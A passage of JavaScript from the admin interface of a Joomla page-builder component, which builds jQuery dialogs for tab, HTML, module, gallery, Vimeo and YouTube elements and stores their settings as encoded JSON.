	data.attr.state=jQuery('.st-nav-option .st-state').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function AddTab(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	var id = makeid();
	content ='<div class="st-tabitems">';
		content+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
		for(i=0;i<data.content.length;i++){
			content+='<li '+((i==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+i+'" index="'+i+'">';
				content+='<span class="tabname">'+data.content[i].attr.title+'</span>';
				content+='<input index="'+i+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+i+'" value="'+data.content[i].attr.title+'" />';
				content+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+i+'"></i>';
			content+='</a></li>';
		}
			content+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
		for(i=0;i<data.content.length;i++){
			content+='<div class="tab-pane '+((i==0)?'active':'')+'" id="'+id+'-'+i+'"><ul class="sortable sortable-tabitem"></ul></div>';
		}
		content+='</div>';
	content+='</div>';
	jQuery(item).append(content);
	jQuery('#myTab-'+id+' a.newtab').click(function (e) {
		var len = jQuery(this).parent().parent().find('>li').length - 1;
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+id+'-'+len+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+id+'-'+len+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+id+'-'+len+'"></i></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+id+'-'+len+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(id);
		jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
		return false;
	});
	jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
	addEventTab(id);
}

function addEventTab(id){
	duplicateItem();
	buttonNewtab();
	jQuery('#myTab-'+id+' a.st-tab').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#myTab-'+id+' a.st-tab').dblclick(function(){
		jQuery(this).find('.tabname').hide();
		jQuery(this).find('.input-edittab').show();
		addEventIputTab(jQuery(this),jQuery('#myTab-'+id).parent().parent());
	});
	jQuery('#myTab-'+id+' a.st-tab .icon-cancel-circle').click(function(){
		var sele = jQuery(this).attr('index');
		var count = jQuery(this).parent().parent().parent().find('>li').length;
		if(count==2){
			alert('Keep minimum 1 tab');
			return false;
		}else{
			jQuery(sele).remove();
			jQuery(this).parent().parent().remove();
			return false;
		}
	});
	addsort();
}

function buttonNewtab(){
	jQuery('[id*="myTab"] a.newtab').unbind('click');
	jQuery('[id*="myTab"] a.newtab').click(function (e) {
		var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
		console.log(array);
		array[3]=(array[3]+1);
		console.log(array);
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(array[2]);
		jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
		return false;
	});
}

function addEventIputTab(ele,pare){
	ele.find('.input-edittab').focus().keyup(function(e){
		if(e.which==13){
			var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
			var title = ele.find('.input-edittab').val();
			var index = ele.attr('index');
			ele.find('.tabname').text(title).show();
			ele.find('.input-edittab').hide();
			data.content[index].attr.title = title;
		}else if(e.which==27){
			ele.find('.tabname').show();
			ele.find('.input-edittab').val(ele.find('.tabname').text()).hide();
		}
	}).blur(function(){
		var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
		var title = ele.find('.input-edittab').val();
		var index = ele.attr('index');
		ele.find('.tabname').text(title).show();
		ele.find('.input-edittab').hide();
		data.content[index].attr.title = title;
	});
}

function saveTabOption(sele,data){
	data.content=[];
	sele.find('.sortable-tabitem').each(function(index){
		var title = jQuery(jQuery(this).closest('.tab-content').parent().find('.nav-tabs li')[index]).find('a').text();
		var a = [];
		jQuery(this).find('>li').each(function(){
			a.push(jQuery.parseJSON(decodeURIComponent(convertHTML(jQuery(this).attr("data")))));
		});
		var item = {"attr":{"title":title},"content":a,"type":"tabst_item_desi"};
		data.content.push(item);
	});
	return encodeURIComponent(JSON.stringify(data));
}

function TabsDesign(sele,data){
	jQuery(sele).find('.sortable-tabitem').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i]))+"'>";
				html+="<div class='st-header-title'>";
					html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
					html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
					html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
					html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
				html+="</div>";
			html+="</li>";
			jQuery(this).append(html);
		}
	});
}
//End Tab Option

// Get Option HTML
function getHtmlOption(data){
	content ="<div class='st-nav-title'><i class='icon-code'></i> HTML<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
        content+="<label>Title</label>";
        content+="<div class='title'><input type='text' class='html-title' value='"+((data.attr.title==null)?"":data.attr.title)+"' ></div>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12 st-editor'>";
				content+="<iframe class='if-editor' src='index.php?option=com_blue_pagebuilder&task=page.getEditor&tmpl=component' width='100%' height='370'></iframe>";
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-html'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .if-editor').load(function(){
		setDataEditor(data.content);
		jQuery('#st-navigation iframe').contents().find('.mce_editable').css('width', '98%');
	});
	jQuery('.st-nav-option button.btn-primary.btn-html').click(function(){
		saveHtml();
	});
}

function setDataEditor(ct){	
	window.setTimeout(function(){
		  if(jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').length>0){
		   jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html(decodeURIComponent(ct));
		  }else{
		   setDataEditor(ct);
		  }
	},300);
}
function saveHtml(){
    var title = convertHTML(jQuery('.st-navigation .html-title').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
	var html = encodeURIComponent(jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html());

	var json = encodeURIComponent(JSON.stringify({"type":"html_desi","content":html,"attr":{"title":title}}));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

// End Option HMTL

// Get Option Module
function getModuleOption(data){
	content ="<div class='st-nav-title'><i class='icon-qrcode-2'></i> Module<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-module'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Choose Module From Module Manager:</label>";
				content+="<div class='st-listmodule'></div>";
			content+="</div>";
		//content+="</div>";
		content+="<div class='span12'>";
			content+="<label>Show title:</label>";
			content+="<div class='st-showtitle st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-title" value="0" checked="checked">No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-title" value="1">Yes</label>';
			content+="</div>";
		content+="</div>";
		content+="<div class='span11'>";
		content+="<label>Chose Template:</label>";
		//content+="<div class='row-fluid'>";
		content +="<select name='st-module-template' class='span12'>";
			content +="<option value='module' " + ((data.attr.template == "module")? 'selected="selected"' : '')+ ">Default</option>";
			content +="<option value='module-none'" + ((data.attr.template == "module-none")? 'selected="selected"' : '')+ ">Clean</option>";
		content +="</select>";
		content+="</div>";
		content+="<div class='span11'>";
			content+="<label>Module Class Suffix:</label>";
			content+="<input type='text' class='st-moduleclass span12' value='"+((data.attr.moduleclass==null)?"":data.attr.moduleclass)+"'></div>";
		content+="<div class='span11'>";
			content+="<label>Heading Class:</label>";
			content+="<input type='text' class='st-hclass span12' value='"+((data.attr.hclass==null)?"":data.attr.hclass)+"'></div>";
		content+="<div class='span11'>";
			content+="<label>State:</label>";
			content+="<div class='st-state st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-state" value="0">No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
			content+="</div>";
		content+="</div>";
    content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.showtitle !='undefined'){
		jQuery('#st-navigation .st-showtitle [value="'+data.attr.showtitle+'"]').prop('checked', true);
	}
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveModule();
	});
}

function saveModule(){
	var title = jQuery('#st-navigation #jform_modules_chzn>a>span').text();
	jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
	jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
	// validate
	if(jQuery('#st-navigation #jform_modules').val()==0){
		alert('Please select a module !');
		return false;
	}
	if(testspecialclass(jQuery('#st-navigation .st-moduleclass').val())){
		data = {"type":"moduleid_desi","content":"","attr":{"id":jQuery('.st-nav-option #jform_modules').val(),"title":title}};
		data.attr.showtitle=jQuery('#st-navigation .st-showtitle [type="radio"]:checked').val();
		data.attr.state=jQuery('#st-navigation .st-state [type="radio"]:checked').val();
		data.attr.moduleclass = jQuery('#st-navigation .st-moduleclass').val();
		data.attr.hclass = jQuery('#st-navigation .st-hclass').val();
		data.attr.template = jQuery('select[name="st-module-template"] option:selected').val();
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		//console.log(json);
		jQuery.stbox.close();
	}else{
		alert('No special characters allowed.');
		return false;
	}
}

// End Option Module

// get Option Gallery
function getGalleryOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Gallery<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-gallery-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-link-text="'+((data.content[i].attr.link_text!=null)?data.content[i].attr.link_text:"")+'" data-link="'+((data.content[i].attr.link!=null)?data.content[i].attr.link:"")+'" data-image-full="'+((data.content[i].attr.image_full!=null)?data.content[i].attr.image_full:"")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Image Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            content+='<label>Link Text:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
							content+='<label>Link:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
							
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
                    
					content+='<div class="span6">';
                        content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Heading Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"iteam_heading")+'" /></div>';
						
    					//content+='<label>Thumb Width:</label>';
//    					content+='<div class="row-fluid"><input type="text" class="st-width span6" value="'+((data.attr.width!=null)?data.attr.width:"80")+'" /></div>';
//                        content+='<label>Thumb Height:</label>';
//    					content+='<div class="row-fluid"><input type="text" class="st-height span6" value="'+((data.attr.height!=null)?data.attr.height:"80")+'" /></div>';
    //						content+='<label>Auto:</label>';
    //						content+='<div class="row-fluid"><select class="st-auto span6">';
    //							content+='<option value="true">True</option>';
    //							content+='<option value="false">False</option>';
    //						content+='</select></div>';
                        content+='<div class="row-fluid">';
                        content += getBt2Selectgroup('Columns', 'st-columns', 'span6', '', data.attr.columns, [['2 Columns', '2'],['3 Columns', '3'],['4 Columns', '4'],['6 Columns', '6']], false);
				        content+='</div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-slider-template', 'span6', '', data.attr.template, [['Default','gallery']], false);
                        content+='</div>';
                        content+="<label>State:</label>";
            			content+="<div class='st-state st-radio'>"; 
            				content+='<label class="radio inline"><input type="radio" name="st-state" value="0" checked="checked">No</label>';
            				content+='<label class="radio inline"><input type="radio" name="st-state" value="1">Yes</label>';
            			content+="</div>";
					content+='</div>';
                    
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeslider st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	gallerySelectImage();
	jQuery('#st-navigation .st-typeslider [value="'+((data.attr.typeslider!=null)?data.attr.typeslider:"1")+'"]').prop('checked', true);
	jQuery('#st-navigation .st-state [value="'+((data.attr.state!=null)?data.attr.state:"1")+'"]').prop('checked', true);
//	jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveGallery();
	});
}

function gallerySelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(jQuery(this).attr('data-title'));
        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
        jQuery('.st-navigation .st-desc-item .st-desc-image-full').val(jQuery(this).attr('data-image-full'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
	});    
    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveGallery(){
		data = {"type":"gallery_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-slider-template"] option:selected').val();
        data.attr.columns = jQuery('select[name="st-columns"] option:selected').val();
        data.attr.state=jQuery('#st-navigation .st-state [type="radio"]:checked').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.width=jQuery('#st-navigation .st-width').val();
		data.attr.height=jQuery('#st-navigation .st-height').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"link_text":jQuery.trim(jQuery(this).attr("data-link-text")),"link":jQuery.trim(jQuery(this).attr("data-link"))}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option

// get Option Vimeo
function getVimeoOption(data) {
    content = "<div class='st-nav-title'><i class='icon-vimeo'></i> Vimeo<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
	    //content += "<!-- Nav tabs -->";
	    content += '<div class="row-fluid">';
		    
	    		content += getBt2Inputgroup([['text', 'st-link','span12','','Video link','Enter vimeo link here', data.content]], false);

	    		content += '<div class="control-group row-fluid">';
	    			content += '<label class="control-label">Demensions</label>';
	    			content += '<div class="controls">';
	    				content += '<div class="input-prepend input-append span6">';
	    					content += '<span class="add-on">W</span>';
	    					content += '<input class="st-widthoption span4" name="st-width" id="appendedPrependedInput" value="' + data.attr.width + '" type="text">';
	    					content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    				content += '<div class="input-prepend input-append span6">';
						    content += '<span class="add-on">H</span>';
						    content += '<input class="st-heightoption span4" name="st-height" id="appendedPrependedInput" value="' + data.attr.height + '"  type="text">';
						    content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    			content += '</div>';
	    		content += '</div>';

	    	content += '<div class="row-fluid">';

	    		content += '<div class="span6">';
	    			content += getBtRadioCheckbox('Autoplay', 'st-autoplay' ,data.attr.autoplay , '1' ,[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		content += getBtRadioCheckbox('Loop', 'st-loop' ,data.attr.loop , '0',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);


		    		content += getBtRadioCheckbox('Enables the badge', 'st-badge' ,data.attr.badge , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		

	    		content += '</div>';

	    		content += '<div class="span6">';

	    			content += getBtRadioCheckbox('Show the user\’s byline', 'st-byline' ,data.attr.byline , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

	    			content += getBtRadioCheckbox('Show the user\’s portrait', 'st-portrait' ,data.attr.portrait , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		content += getBtRadioCheckbox('Show title', 'st-title' ,data.attr.title , '1',[['radio','inputbox','','1','Yes'],['radio','inputbox','','0','No']], false);

		    		
	    		content += '</div>';

	    	content += '</div>';

	    		content += getBt2Inputgroup([['text', 'st-color','span12','','Color (make sure that you don\'t include the #)','Enter the player color', data.attr.color,'00adef']], false);

		    	content += getBt2Selectgroup('Alignment', 'st-alignment', 'inputbox span12' , '', data.attr.alignment, [['Left','left'],['Center','center'],['Right','right']], false);
		content += '</div>';

	    content += "<div class='st-button-group'>";
	    content += "<button class='btn btn-primary btn-save'>Save</button>";
	    content += "<button class='btn btn-cancel'>Cancel</button>";
	    content += "</div>";

    content += "</div>";

    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveVimeo();
    });
}

function saveVimeo() {
    var link = convertHTML(jQuery('input[name="st-link"]').val());
    if (testEmpty(jQuery('input[name="st-link"]'))) {
       
            alert('Please input your Vimeo link!');
            return false;
    } else {
        data = {"type": "vimeo_desi", "content": "", "attr": {}};
        data.content = link;
        //data.embed = embed;
        data.attr.width = jQuery('input[name="st-width"]').val();
        data.attr.height = jQuery('input[name="st-height"]').val();
        data.attr.autoplay = jQuery('input[name="st-autoplay"]:checked').val();
        data.attr.loop = jQuery('input[name="st-loop"]:checked').val();
        data.attr.badge = jQuery('input[name="st-badge"]:checked').val();
        data.attr.byline = jQuery('input[name="st-byline"]:checked').val();
        data.attr.portrait = jQuery('input[name="st-portrait"]:checked').val();
        data.attr.title = jQuery('input[name="st-title"]:checked').val();
        data.attr.color = jQuery('input[name="st-color"]').val();
        data.attr.alignment = jQuery('select[name="st-alignment"] option:selected').val();
        var json = encodeURIComponent(JSON.stringify(data));
        jQuery('#st-page li.st-focus').attr("data", json);
        jQuery.stbox.close();
    }
}
//  End Youtube Option

// get Option Youtube
function getYoutubeOption(data) {
    content = "<div class='st-nav-title'><i class='icon-youtube'></i> Youtube<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content += "<div class='st-nav-option'>";
	    content += "<!-- Nav tabs -->";
	    content += '<ul class="nav nav-tabs">';
		    content += '<li class="active"><a href="#youtube-content" data-toggle="tab">Content</a></li>';
		    content += '<li><a href="#youttube-settings" data-toggle="tab">Settings</a></li>';
	    content += '</ul>';
    content += '<!-- Tab panes -->';
    content += '<div class="tab-content">';
    	content += '<div class="tab-pane active" id="youtube-content">\n\n\ ';
    		content += "<div class='row-fluid'><input type='text' name='link-option' class='span12' value='" + data.content + "' placeholder='Enter the youtube link'></div>";
    	content += '</div>';
    	content += '<!-- End Tab panes 1 -->';
	    content += '<div class="tab-pane" id="youttube-settings">';
	    	content += '<div class="form-horizontal">';
	    		content += '<div class="control-group row-fluid">';
	    			content += '<label for="youtube-demensions-option" class="control-label col-md-4">Demensions</label>';
	    			content += '<div class="controls">';
	    				content += '<div class="input-prepend input-append">';
	    					content += '<span class="add-on">W</span>';
	    					content += '<input class="st-widthoption span4" id="appendedPrependedInput" value="' + data.attr.width + '" type="text">';
	    					content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    				content += '<div class="input-prepend input-append">';
						    content += '<span class="add-on">H</span>';
						    content += '<input class="st-heightoption span4" id="appendedPrependedInput" value="' + data.attr.height + '"  type="text">';
						    content += '<span class="add-on">px</span>';
	    				content += '</div>';
	    			content += '</div>';
	    		content += '</div>';

			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Autoplay</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-autoplay-option' name='autoplay-option' class='st-autoplayoption inputbox'" + ((data.attr.autoplay == '1') ? 'checked="checked"' : '') + " checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-autoplay-option' name='autoplay-option' class='st-autoplayoption inputbox' " + ((data.attr.autoplay == '0') ? 'checked="checked"' : '') + " value='0'></label>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
			    	content += '<label class="control-label col-md-4">Loop</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-loop-option' name='loop-option' class='st-looption inputbox'" + ((data.attr.loop == '1') ? 'checked="checked"' : '') + "  checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-loop-option' name='loop-option' class='st-loopoption inputbox' " + ((data.attr.loop == '0') ? 'checked="checked"' : '') + "  value='0'></label>";
				    content += '</div>';
			    content += '</div>';


			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Controls Auto Hide</label>';
				    content += '<div class="controls">';
					    content += "<select name='hidecontrols-option' class='st-showcaptionoption inputbox'>";
						    content += "<option " + ((data.attr.hidecontrols == '0') ? 'selected="selected"' : '') + " value='0'>Automatic hide controls</option>";
						    content += "<option " + ((data.attr.hidecontrols == '1') ? 'selected="selected"' : '') + " value='1'>Show controls and load video</option>";
						    content += "<option " + ((data.attr.hidecontrols == '2') ? 'selected="selected"' : '') + " value='2'>Show controls</option>";
					    content += "</select>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
				    content += '<label class="control-label col-md-4">Show caption</label>';
				    content += '<div class="controls">';
					    content += '<label class="radio inline">Yes';
					    content += "<input type='radio' id='youtube-loop-option' name='showcaption-option' class='st-looption inputbox'" + ((data.attr.showcaption == '1') ? 'checked="checked"' : '') + "  checked='checked'  value='1'></label>";
					    content += '<label class="radio inline">No';
					    content += "<input type='radio' id='youtube-loop-option' name='showcaption-option' class='st-loopoption inputbox' " + ((data.attr.showcaption == '0') ? 'checked="checked"' : '') + "  value='0'></label>";
				    content += '</div>';
			    content += '</div>';

			    content += '<div class="control-group row-fluid">';
			    	content += '<label for="youtube-alignment-option" class="control-label col-md-4">Alignment</label>';
				    content += '<div class="controls">';
					    content += "<select id='youtube-alignment-option' class='st-showcaptionoption inputbox'>";
						    content += "<option " + ((data.attr.alignment == 'left') ? 'selected="selected"' : '') + " value='left'>Left</option>";
						    content += "<option " + ((data.attr.alignment == 'center') ? 'selected="selected"' : '') + " value='center'>Center</option>";
						    content += "<option " + ((data.attr.alignment == 'right') ? 'selected="selected"' : '') + " value='right'>Right</option>";
					    content += "</select>";
				    content += '</div>';
			    content += '</div>';
	    content += '</div>';

	content += '</div>';

	content += '</div>';
    content += "<div class='st-button-group'>";
    content += "<button class='btn btn-primary btn-save'>Save</button>";
    content += "<button class='btn btn-cancel'>Cancel</button>";
    content += "</div>";
    content += "</div>";
    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function() {
        saveYoutube();
    });
}

function saveYoutube() {
    var link = convertHTML(jQuery('input[name="link-option"]').val());
    //var embed = convertHTML(jQuery('input[name="embed-option"]').val());
    if (testEmpty(jQuery('input[name="link-option"]'))) {
        if (embed == "") {
            alert('Please input your Youtube link!');
            return false;
        }
    } else {
        data = {"type": "youtube_desi", "content": "", "attr": {"autoplay": ""}};
        data.content = link;
        //data.embed = embed;
        data.attr.width = jQuery('.st-navigation .st-nav-option .st-widthoption').val();
        data.attr.height = jQuery('.st-navigation .st-nav-option .st-heightoption').val();
        data.attr.autoplay = jQuery('input[name="autoplay-option"]:checked').val();
        data.attr.loop = jQuery('input[name="loop-option"]:checked').val();
        data.attr.hidecontrols = jQuery('select[name="hidecontrols-option"] option:checked').val();
        data.attr.showcaption = jQuery('input[name="showcaption-option"]:checked').val();
        data.attr.alignment = jQuery('select[name="alignment-option"] option:checked').val();
        var json = encodeURIComponent(JSON.stringify(data));
        jQuery('#st-page li.st-focus').attr("data", json);
        jQuery.stbox.close();
    }
}
//  End Youtube Option

// get Option Message Box
function getMessageBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-exclamation-sign'></i> Message Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
